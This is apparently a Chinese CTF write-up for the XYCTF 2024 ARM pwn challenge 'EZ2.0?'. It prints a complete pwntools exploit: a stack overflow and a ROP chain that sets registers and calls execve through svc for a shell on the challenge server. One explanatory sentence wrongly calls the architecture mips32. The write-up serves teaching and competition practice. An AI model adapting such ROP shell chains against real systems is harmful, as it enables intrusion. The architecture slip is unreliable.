[XYCTF新生赛2024]-PWN:EZ2.0?(arm架构,arm架构下的系统调用)

查看保护

查看ida

完整exp:

复制代码
from pwn import*

p=process('./arm')
p=remote('gz.imxbt.cn',20082)
svc=0x0001c58c
mov_r2_r4_blx_r3=0x00043224
pop_r7=0x00027d78
pop_r4=0x000104e0
pop_r3=0x00010160
pop_r1=0x0005f824
pop_r0=0x0005f73c
sh=0x0008A090

payload=b'a'*0x44
payload+=p32(pop_r0)+p32(sh)
payload+=p32(pop_r1)+p32(0)
payload+=p32(pop_r3)+p32(svc)
payload+=p32(pop_r4)+p32(0)
payload+=p32(pop_r7)+p32(0xB)
payload+=p32(mov_r2_r4_blx_r3)

p.send(payload)

p.interactive()

因为是arm架构,所以我们要覆盖LR寄存器控制返回地址,对于mips32架构,R0~R3寄存器负责传参,R7寄存器传递系统调用号。这里覆盖R3为SVC是因为后面有跳转R3的指令,覆盖R4是为了后面把R2寄存器覆盖为0。

相关推荐
晚风(●•σ )6 分钟前
【华为 ICT & HCIA & eNSP 习题汇总】——题目集27
网络·计算机网络·网络安全·华为
Su-RE10 小时前
常见安全设备理解
安全
九章-12 小时前
国企国产化替代标杆实践:金仓数据库赋能贵州磷化EMS系统自主可控升级
数据库·mysql·安全
wanhengidc14 小时前
巨椰 云手机 云游戏稳定运行
运维·服务器·arm开发·游戏·云计算
unable code14 小时前
攻防世界-Misc-Miscellaneous-200
网络安全·ctf·misc
林政硕(Cohen0415)14 小时前
ARM Qt 字体过小的问题
arm开发·qt
zhengfei61115 小时前
渗透工具集——15款常见C2的框架
测试工具·安全
星哥说事16 小时前
系统安全加固:禁用不必要服务和端口,及时更新安全补丁
安全·系统安全
unable code17 小时前
攻防世界-Misc-4-1
网络安全·ctf·misc·1024程序员节
驱动探索者18 小时前
[缩略语大全]之[ARM]篇
arm开发·ai编程